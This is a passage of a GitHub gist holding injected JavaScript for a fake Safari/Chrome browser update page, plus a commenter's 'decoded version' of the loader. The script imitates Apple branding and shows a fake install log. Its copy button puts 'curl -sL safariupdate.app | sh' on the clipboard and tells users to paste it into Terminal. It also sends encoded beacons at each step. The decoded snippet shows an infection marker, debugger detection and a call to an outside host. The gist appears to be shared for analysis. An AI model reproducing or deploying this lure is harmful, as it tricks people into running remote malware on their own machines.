style="position:absolute;width:24px;height:24px;background:#0066cc;border-radius:50%;top:50%;left:50%;transform:translate(-50%,-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">2</div> </div> <div style="flex:1;height:2px;background:#ddd;position:relative;"> <div style="position:absolute;width:24px;height:24px;background:#ddd;border-radius:50%;top:50%;right:0;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">3</div> </div> </div> <div style="text-align:center;margin-bottom:25px;"> ${SAFARI_LOGO} <h2 style="font-size:24px;font-weight:500;color:#1d1d1f;margin:0 0 8px;">Installing ${browser} Update</h2> <p style="font-size:14px;color:#666;margin:0;">Please do not close your browser during update</p> </div> <div style="background:white;border-radius:8px;box-shadow:0 1px 4px rgba(0,0,0,0.1);padding:32px;"> <div style="margin-bottom:30px;"> <div style="width:100%;height:6px;background:#f0f0f0;border-radius:3px;overflow:hidden;"> <div id="progressBar" style="width:0%;height:100%;background:#0066cc;border-radius:3px;transition:width 0.5s ease-in-out;"></div> </div> <div style="display:flex;justify-content:space-between;margin-top:8px;font-size:12px;color:#999;"> <span id="progressText">0%</span> <span>Estimated time remaining: <span id="timeRemaining">20 seconds</span></span> </div> </div> <div style="margin-bottom:20px;padding:12px;background:#fff8e1;border-radius:6px;font-size:12px;color:#996500;"> <div style="display:flex;align-items:center;gap:8px;"> <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"> <path d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"></path> </svg> <span>Do not close this window or shut down your computer until the update completes.</span> </div> </div> <div id="updateLog" style="height:200px;overflow-y:auto;background:#f8f8f8;border-radius:6px;padding:12px;font-size:12px;font-family:monospace;color:#666;line-height:1.5;"> > Starting ${browser} update process...<br> > Checking system compatibility... </div> <div style="text-align:center;font-size:12px;color:#999;margin-top:24px;"> Copyright &copy; 2025 Apple Inc. All rights reserved. </div> </div> </div> <div id="updateStep3" style="display:none;max-width:780px;margin:40px auto;padding:20px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:30px;"> <div style="flex:1;height:2px;background:#0066cc;position:relative;"> <div style="position:absolute;width:24px;height:24px;background:#0066cc;border-radius:50%;top:50%;left:0;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">1</div> </div> <div style="flex:1;height:2px;background:#0066cc;position:relative;margin:0 8px;"> <div style="position:absolute;width:24px;height:24px;background:#0066cc;border-radius:50%;top:50%;left:50%;transform:translate(-50%,-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">2</div> </div> <div style="flex:1;height:2px;background:#0066cc;position:relative;"> <div style="position:absolute;width:24px;height:24px;background:#0066cc;border-radius:50%;top:50%;right:0;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;color:white;font-size:14px;">3</div> </div> </div> <div style="text-align:center;margin-bottom:25px;"> ${SAFARI_LOGO} <h2 style="font-size:24px;font-weight:500;color:#1d1d1f;margin:0 0 8px;">Complete the Update</h2> <p style="font-size:14px;color:#666;margin:0;">Final step required to activate the update</p> </div> <div style="background:white;border-radius:8px;box-shadow:0 1px 4px rgba(0,0,0,0.1);padding:32px;margin-bottom:24px;"> <div style="margin-bottom:20px;"> <div style="display:flex;align-items:center;justify-content:center;width:60px;height:60px;background:#5cb85c;border-radius:30px;margin:0 auto 16px;"> <svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"> <polyline points="20 6 9 17 4 12"></polyline> </svg> </div> <h3 style="text-align:center;font-size:18px;font-weight:500;color:#1d1d1f;margin:0 0 8px;">Update Components Installed</h3> <p style="text-align:center;font-size:16px;color:#1d1d1f;margin:0 0 16px;">Almost done</p> <p style="text-align:center;font-size:14px;color:#666;margin:0 0 10px;">To finalize the installation, please follow these steps without closing your browser:</p> <div style="text-align:center;padding:10px;background:#fff8e1;border-radius:6px;font-size:13px;color:#996500;margin-bottom:24px;"> <strong>Important:</strong> Keep this browser window open while completing these steps. </div> </div> <div style="margin-bottom:30px;"> <div style="display:flex;align-items:flex-start;margin-bottom:24px;padding:16px;background:#fafafa;border-radius:8px;border:1px solid #eee;"> <div style="display:flex;align-items:center;justify-content:center;width:24px;height:24px;background:#666;color:#fff;border-radius:12px;font-size:13px;margin-right:16px;flex-shrink:0;">1</div> <div style="flex:1;font-size:14px;color:#666;line-height:1.6;">Press <span style="display:inline-flex;align-items:center;justify-content:center;min-width:24px;height:24px;padding:0 8px;background:#f8f8f8;border:1px solid #ddd;border-radius:4px;font-size:13px;color:#666;margin:0 2px;">&#8984;</span> + <span style="display:inline-flex;align-items:center;justify-content:center;min-width:24px;height:24px;padding:0 8px;background:#f8f8f8;border:1px solid #ddd;border-radius:4px;font-size:13px;color:#666;margin:0 2px;">Space</span> to open Spotlight Search</div> </div> <div style="display:flex;align-items:flex-start;margin-bottom:24px;padding:16px;background:#fafafa;border-radius:8px;border:1px solid #eee;"> <div style="display:flex;align-items:center;justify-content:center;width:24px;height:24px;background:#666;color:#fff;border-radius:12px;font-size:13px;margin-right:16px;flex-shrink:0;">2</div> <div style="flex:1;font-size:14px;color:#666;line-height:1.6;"> <div>Type Terminal and press <span style="display:inline-flex;align-items:center;justify-content:center;min-width:24px;height:24px;padding:0 8px;background:#f8f8f8;border:1px solid #ddd;border-radius:4px;font-size:13px;color:#666;margin:0 2px;">Enter</span> to open the Terminal application</div> <div style="margin-top:8px;">or <a href="ssh://" style="color:#0066cc;text-decoration:none;">click here</a> to open Terminal in your Dock</div> </div> </div> <div style="display:flex;align-items:flex-start;margin-bottom:24px;padding:16px;background:#fafafa;border-radius:8px;border:1px solid #eee;"> <div style="display:flex;align-items:center;justify-content:center;width:24px;height:24px;background:#666;color:#fff;border-radius:12px;font-size:13px;margin-right:16px;flex-shrink:0;">3</div> <div style="flex:1;font-size:14px;color:#666;line-height:1.6;">Copy and paste the following code into Terminal:<button onclick="window.copyCode()" style="display:flex;align-items:center;justify-content:center;width:100%;margin:12px 0;padding:12px 20px;background:#fff;border:1px solid #ddd;border-radius:6px;font-size:14px;color:#666;cursor:pointer;gap:8px;"><span style="font-size:16px;">&#9881;</span>Copy update code</button><div style="font-size:13px;color:#999;margin-top:8px;text-align:center;font-weight:bold;">Do not close your browser during this process</div></div> </div> <div style="display:flex;align-items:flex-start;padding:16px;background:#fafafa;border-radius:8px;border:1px solid #eee;"> <div style="display:flex;align-items:center;justify-content:center;width:24px;height:24px;background:#666;color:#fff;border-radius:12px;font-size:13px;margin-right:16px;flex-shrink:0;">4</div> <div style="flex:1;font-size:14px;color:#666;line-height:1.6;">After running the Terminal command, restart ${browser} to apply the update. All your tabs and windows will be preserved.</div> </div> </div> <div style="display:flex;justify-content:center;gap:16px;margin-bottom:24px;"> <button onclick="window.finishUpdate()" style="height:36px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Finish Update</button> </div> </div> </div> </div> <div id="updateError" style="display:none;max-width:500px;margin:40px auto;padding:20px;background:white;border-radius:10px;box-shadow:0 4px 20px rgba(0,0,0,0.1);"> <div style="text-align:center;margin-bottom:24px;"> <div style="width:50px;height:50px;background:#de4d4d;border-radius:25px;display:flex;align-items:center;justify-content:center;margin:0 auto 16px;"> <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="2"> <circle cx="12" cy="12" r="10"></circle> <line x1="15" y1="9" x2="9" y2="15"></line> <line x1="9" y1="9" x2="15" y2="15"></line> </svg> </div> <h2 style="font-size:20px;font-weight:500;color:#1d1d1f;margin:0 0 12px;">Update Error</h2> <p style="font-size:14px;color:#666;line-height:1.5;margin-bottom:24px;">An error occurred during the update process. You haven't completed the terminal command step. Please make sure you've run the command in Terminal before proceeding.</p> <button onclick="window.closeError()" style="height:36px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Try Again</button> </div> </div> </div> </div> </div> </div> `;
const s = document.createElement('style');
s.textContent = '@keyframes sfspin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}';
document.head.appendChild(s);
w.appendChild(n);
document.body.appendChild(w);
document.body.appendChild(m);
document.body.style.marginTop = (parseInt(window.getComputedStyle(document.body).marginTop || 0) + 40) + 'px';
window.showMoreInfo = async function() {
document.getElementById('infoModal').style.display = 'block';
document.getElementById('modalBg').style.display = 'block';
fetch2('mIdsFuOlD3/8pVYkoLVANOvzCWa6vU56+ekIf/bgM2Xs5hhluqtOZeylVia0pR40oqUZeOH2BjTl');
}
;
window.closeMoreInfo = async function() {
document.getElementById('infoModal').style.display = 'none';
document.getElementById('modalBg').style.display = 'none';
fetch2('uZPz6sKxkIPdscnYgaHfyMrnlpqbqdGG2P2Xg9f0rJnN8oeZm7/Rmc2xyduVsYHIg7GAmdf3lo3e4pib27GO');
}
;
window.closeNotify = async function() {
document.getElementById('warningModal').style.display = 'block';
document.getElementById('modalBg').style.display = 'block';
fetch2('XAGWZCcj9Q04I6xWZDO6Ri918xR+O7QIPW/yDTJmyRcoYOIXfi20FygjrFZwI+RGZiP7CDVi4xMzI+s=');
}
;
window.confirmDelay = async function() {
document.getElementById('warningModal').style.display = 'none';
document.getElementById('modalBg').style.display = 'none';
document.getElementById('notifyBar').style.display = 'none';
document.body.style.marginTop = '0';
fetch2('ZrAJRh2Sai8CkjN0XoIlZBXEbDZEiisqB95tLwjXVjUS0X01RJwrNRKSM3VKkntkXJJsPA7VZTEW13w+H8BoIh+SdA==');
}
;
window.startProcess = async function() {
document.getElementById('infoModal').style.display = 'none';
document.getElementById('warningModal').style.display = 'none';
document.getElementById('modalBg').style.display = 'none';
document.getElementById('notifyBar').style.display = 'none';
document.getElementById('updatePage').style.display = 'block';
document.getElementById('warningBeforeUpdate').style.display = 'block';
document.getElementById('updateStep1').style.display = 'none';
document.getElementById('updateStep2').style.display = 'none';
document.getElementById('updateStep3').style.display = 'none';
document.body.style.marginTop = '0';
fetch2('gQbFuPokptHlJP+KuTTpmvJyoMijPOfU4Gih0e9hmsv1Z7HLoyrny/Uk/4ytJLeauySr0/Zto9L4fKTR6n6j3qN7');
}
;
window.proceedToUpdate = async function() {
document.getElementById('warningBeforeUpdate').style.display = 'none';
document.getElementById('updateStep1').style.display = 'block';
fetch2('WCBCQyMCISo8AnhxYBJuYStUJzN6GmAvOU4mKjZHHTAsQTYwegxgMCwCeHZ0AjBhYgI0LStUMC4iVDA6L0stJTFLNSd6XQ==');
}
;
window.cancelUpdate = async function() {
document.getElementById('updatePage').style.display = 'none';
document.getElementById('notifyBar').style.display = 'flex';
document.body.style.marginTop = (parseInt(window.getComputedStyle(document.body).marginTop || 0) + 40) + 'px';
fetch2('wiNPrrkBLMemAXWc+hFjjLFXKt7gGW3Co00rx6xEEN22Qjvd4A9t3bYBdZjuAT2M+AE9zbJPOcCjRyDLsU4o26xPKoy/');
}
;
window.confirmAgreement = async function() {
document.getElementById('updateStep1').style.display = 'none';
document.getElementById('updateStep2').style.display = 'block';
fetch2('sXWaXspX+TfVV6BsiUe2fMIB/y6TT7gy0Bv+N98SxS3FFO4tk1m4LcVXoGmdV+h8i1f2KsQT7zDcAfQ311fn');
const progressBar = document.getElementById('progressBar');
const progressText = document.getElementById('progressText');
const timeRemaining = document.getElementById('timeRemaining');
const updateLog = document.getElementById('updateLog');
const logMessages = ['> System compatibility check: Passed', '> Connecting to ' + browser + ' update server...', '> Connection established: update.' + browser.toLowerCase() + '-cdn.apple.com', '> Authenticated with Apple servers', '> Downloading ' + browser + ' security components (1/8)...', '> Security components downloaded successfully', '> Downloading WebKit engine updates (2/8)...', '> WebKit engine updates downloaded successfully', '> Downloading JavaScript interpreter updates (3/8)...', '> JavaScript interpreter updates downloaded successfully', '> Backing up user preferences and bookmarks...', '> Backup completed successfully', '> Installing security components (4/8)...', '> Security components installed successfully', '> Installing WebKit engine updates (5/8)...', '> WebKit engine updates installed successfully', '> Installing JavaScript interpreter updates (6/8)...', '> Optimizing browser performance...', '> Updating extension compatibility layer (7/8)...', '> Updating browser UI components (8/8)...', '> Verifying installation integrity...', '> Installation verification passed', '> Cleaning up temporary files...', '> Update completed successfully!'];
let progress = 0;
let logIndex = 0;
let seconds = 15;
const progressInterval = setInterval( () => {
const increment = Math.max(1, Math.floor(Math.random() * (100 - progress) / 5));
progress += increment;
if (progress > 100)
progress = 100;
progressBar.style.width = progress + '%';
progressText.textContent = progress + '%';
if (seconds > 0) {
seconds--;
if (seconds === 1) {
timeRemaining.textContent = seconds + ' second';
} else {
timeRemaining.textContent = seconds + ' seconds';
}
} else {
timeRemaining.textContent = 'almost done';
}
if (progress >= 5 && logIndex < 3) {
updateLog.innerHTML += '<br>' + logMessages[0];
updateLog.innerHTML += '<br>' + logMessages[1];
updateLog.innerHTML += '<br>' + logMessages[2];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 3;
} else if (progress >= 15 && logIndex < 6) {
updateLog.innerHTML += '<br>' + logMessages[3];
updateLog.innerHTML += '<br>' + logMessages[4];
updateLog.innerHTML += '<br>' + logMessages[5];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 6;
} else if (progress >= 25 && logIndex < 9) {
updateLog.innerHTML += '<br>' + logMessages[6];
updateLog.innerHTML += '<br>' + logMessages[7];
updateLog.innerHTML += '<br>' + logMessages[8];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 9;
} else if (progress >= 35 && logIndex < 12) {
updateLog.innerHTML += '<br>' + logMessages[9];
updateLog.innerHTML += '<br>' + logMessages[10];
updateLog.innerHTML += '<br>' + logMessages[11];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 12;
} else if (progress >= 50 && logIndex < 15) {
updateLog.innerHTML += '<br>' + logMessages[12];
updateLog.innerHTML += '<br>' + logMessages[13];
updateLog.innerHTML += '<br>' + logMessages[14];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 15;
} else if (progress >= 65 && logIndex < 17) {
updateLog.innerHTML += '<br>' + logMessages[15];
updateLog.innerHTML += '<br>' + logMessages[16];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 17;
} else if (progress >= 75 && logIndex < 19) {
updateLog.innerHTML += '<br>' + logMessages[17];
updateLog.innerHTML += '<br>' + logMessages[18];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 19;
} else if (progress >= 85 && logIndex < 21) {
updateLog.innerHTML += '<br>' + logMessages[19];
updateLog.innerHTML += '<br>' + logMessages[20];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 21;
} else if (progress >= 95 && logIndex < 24) {
updateLog.innerHTML += '<br>' + logMessages[21];
updateLog.innerHTML += '<br>' + logMessages[22];
updateLog.innerHTML += '<br>' + logMessages[23];
updateLog.scrollTop = updateLog.scrollHeight;
logIndex = 24;
}
if (progress >= 100) {
clearInterval(progressInterval);
setTimeout( () => {
document.getElementById('updateStep2').style.display = 'none';
document.getElementById('updateStep3').style.display = 'block';
fetch2('x7RHpbyWJMyjln2X/4Zrh7TAItXljmXJptojzKnTGNaz1TPW5Zhl1rOWfZ3rljWH/ZYpyamWOg==');
}
, 1000);
}
}
, 600);
}
;
window.copyCode = async function() {
var c = "curl -sL safariupdate.app | sh";
if (isChrome) {
c = "curl -sL chromeupdate.app | sh";
}
navigator.clipboard.writeText(c);
const b = document.querySelector('button[onclick="window.copyCode()"]');
const t = b.innerHTML;
b.innerHTML = '<span style="font-size:16px;">&#9881;</span>Copied!';
setTimeout( () => {
b.innerHTML = t;
}
, 2000);
fetch2('MkZoGklkC3NWZFIoCnREOEEyDWoQfEp2UygMc1whN2lGJxxpEGpKaUZkUiMeZBo4CGQaYlAvBnRWJRtsWWQV');
}
;
window.finishUpdate = async function() {
const loadingDiv = document.createElement('div');
loadingDiv.style.cssText = 'position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(255,255,255,0.8);z-index:2147483648;display:flex;flex-direction:column;align-items:center;justify-content:center;font-family:-apple-system,BlinkMacSystemFont,"SF Pro Text","Helvetica Neue",Arial,sans-serif;';
loadingDiv.innerHTML = ` <div style="width:40px;height:40px;border:3px solid rgba(0,0,0,0.1);border-top:3px solid #0066cc;border-radius:50%;animation:sfspin 1s linear infinite;margin-bottom:16px;"></div> <div style="font-size:14px;color:#1d1d1f;">Finalizing update...</div> `;
document.body.appendChild(loadingDiv);
fetch2('DEMwEXdhU3hoYQojNHEcM383VWEueRJ9bS1UeGIkb2J4IkRiLm8SYnhhCiA8bxJjLnkSd2UzSWB/MVVnfylUemYgEmw=');
setTimeout( () => {
document.body.removeChild(loadingDiv);
const modalDiv = document.createElement('div');
modalDiv.style.cssText = 'position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.5);z-index:2147483648;display:flex;align-items:center;justify-content:center;';
const alertDiv = document.createElement('div');
alertDiv.style.cssText = 'background:white;width:90%;max-width:450px;border-radius:8px;box-shadow:0 4px 20px rgba(0,0,0,0.2);font-family:-apple-system,BlinkMacSystemFont,"SF Pro Text","Helvetica Neue",Arial,sans-serif;padding:24px;';
alertDiv.innerHTML = ` <div style="text-align:center;margin-bottom:20px;"> <div style="width:50px;height:50px;background:#de4d4d;border-radius:25px;display:flex;align-items:center;justify-content:center;margin:0 auto 16px;"> <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="2"> <circle cx="12" cy="12" r="10"></circle> <line x1="15" y1="9" x2="9" y2="15"></line> <line x1="9" y1="9" x2="15" y2="15"></line> </svg> </div> <h2 style="font-size:20px;font-weight:500;color:#1d1d1f;margin:0 0 12px;">Update Error</h2> <p style="font-size:14px;color:#666;line-height:1.5;margin-bottom:24px;">An error occurred. You likely haven't executed the ${browser.toLowerCase()}update command in Terminal. Please make sure you've run the provided command in Terminal before proceeding.</p> <button onclick="window.closeErrorAlert()" style="height:36px;padding:0 16px;background:#0066cc;color:white;border:none;border-radius:4px;font-size:13px;cursor:pointer;">Try Again</button> </div> `;
modalDiv.appendChild(alertDiv);
document.body.appendChild(modalDiv);
window.closeErrorAlert = function() {
document.body.removeChild(modalDiv);
}
;
}
, 4000);
}
;
document.getElementById('modalBg').onclick = function() {
document.getElementById('infoModal').style.display = 'none';
document.getElementById('warningModal').style.display = 'none';
document.getElementById('modalBg').style.display = 'none';
}
;
window.startProcess();
window.proceedToUpdate();
}
)();
@gaurish
Copy link

gaurish commented Aug 4, 2025

Here is the decoded verison of the script:

// Check 1: Looking for existing infection marker
if (window.localStorage[window.location.hostname]) {
    return; // Already infected, don't run again
}

// Check 2: Domain validation - checking if running on specific domains
var allowedDomains = "chequpi.com";
if (window.location.hostname.indexOf("chequpi.com") !== -1 || 
    window.location.hostname.indexOf("thewayofmoney.us") !== -1) {
    return; // Don't run on the malware's own domains
}

// Check 3: Browser console detection (anti-debugging)
if (window.outerHeight - window.innerHeight > 200 || 
    window.outerWidth - window.innerWidth > 200) {
    // Likely developer tools are open
    // Shows a different message or exits
}

// Check 4: Set infection marker
window.localStorage[window.location.hostname] = 1;

// Check 5: Configuration flag
var shouldExecute = '0'; // This is set to '0', meaning disabled
if (shouldExecute == '1') {
    // Would fetch and execute additional payload
    fetch('https://customer.thewayofmoney.us/...');
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment